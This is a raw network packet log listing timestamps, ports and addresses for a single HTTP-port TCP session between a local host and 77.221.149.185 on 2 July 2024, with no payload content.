Jul 2, 2024 22:52:25.909969091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.909970999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.909981966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.909991980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910002947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910011053 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.910011053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910022020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910031080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910037994 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.910039902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910051107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910063982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.910082102 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.910728931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910739899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910748959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910758018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910768032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910777092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910777092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.910785913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910793066 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.910799980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910809994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910818100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910819054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.910828114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910832882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.910839081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910851955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910861015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910862923 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.910870075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910880089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.910890102 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.910902977 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.910923004 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.911712885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.911725044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.911734104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.911744118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.911753893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.911763906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.911763906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.911772966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.911781073 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.911783934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.911794901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.911804914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.911806107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.911813974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.911823988 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.911824942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.911839962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.911842108 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.911850929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.911863089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.911875010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.911879063 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.911906958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.911914110 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.912714958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.912725925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.912735939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.912744999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.912755013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.912759066 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.912764072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.912774086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.912781954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.912784100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.912792921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.912800074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.912801981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.912811995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.912817955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.912822008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.912832022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.912843943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.912853003 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.912853956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.912863970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.912875891 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.912893057 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.912904978 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.913635015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.913645029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.913655043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.913665056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.913674116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.913681984 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.913683891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.913693905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.913703918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.913705111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.913713932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.913722038 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.913723946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.913733959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.913743019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.913747072 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.913752079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.913762093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.913769960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.913772106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.913780928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.913784981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.913801908 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.913825989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.914474010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.914484024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.914494038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.914510012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.914519072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.914522886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.914530039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.914537907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.914546967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.914547920 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.914565086 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.914587021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.948426008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.948451042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.948462009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.948544025 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.948681116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.948690891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.948702097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.948710918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.948719978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.948822021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.948822021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.948822021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.997664928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.997677088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.997685909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.997802973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.997812033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.997822046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.997831106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.997842073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.997849941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.997849941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.997874975 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.997883081 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.998084068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.998100996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.998116970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.998126984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.998141050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.998143911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.998167992 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.998395920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.998410940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.998439074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.998605013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.998614073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.998626947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.998636961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.998646021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.998647928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.998656988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.998666048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.998671055 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.998677015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.998687029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.998687983 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.998709917 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.998732090 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.999262094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.999272108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.999280930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.999291897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.999300003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.999308109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.999310017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.999320030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.999330044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.999331951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.999340057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.999347925 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.999349117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.999360085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.999366045 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.999370098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.999378920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.999387026 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.999388933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.999399900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.999403000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.999409914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.999419928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.999420881 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.999454021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.000127077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.000135899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.000144958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.000155926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.000164986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.000169039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.000174999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.000184059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.000185966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.000194073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.000202894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.000210047 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.000230074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.000246048 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.000607967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.000618935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.000628948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.000643015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.000650883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.000653028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.000663042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.000674009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.000683069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.000693083 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.000693083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.000713110 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.000722885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.001199961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.001209021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.001219034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.001229048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.001238108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.001245022 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.001247883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.001257896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.001261950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.001267910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.001276970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.001286983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.001286983 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.001296997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.001307011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.001313925 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.001315117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.001324892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.001334906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.001343966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.001372099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.002264023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.002274990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.002284050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.002300978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.002310991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.002315044 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.002321005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.002330065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.002341986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.002350092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.002351046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.002361059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.002368927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.002377033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.002377987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.002387047 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.002388000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.002398014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.002403975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.002405882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.002415895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.002424955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.002445936 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.002475023 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.003104925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.003115892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.003125906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.003135920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.003145933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.003154993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.003158092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.003165007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.003169060 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.003175974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.003185034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.003195047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.003201962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.003204107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.003209114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.003216028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.003226042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.003231049 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.003235102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.003263950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.003289938 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.042136908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.042160988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.042171955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.042320013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.042399883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.042411089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.042421103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.042431116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.042440891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.042450905 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.042481899 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.090018988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.090038061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.090050936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.090106964 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.090177059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.090186119 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.090190887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.090202093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.090229034 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.090570927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.090579987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.090590000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.090600014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.090609074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.090614080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.090619087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.090624094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.090634108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.090635061 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.090667963 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.090682030 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.090991974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.091001987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.091011047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.091021061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.091031075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.091037035 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.091054916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.091356993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.091366053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.091376066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.091386080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.091401100 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.091406107 CEST	80	49712	77.221.149.185	192.168.2.5
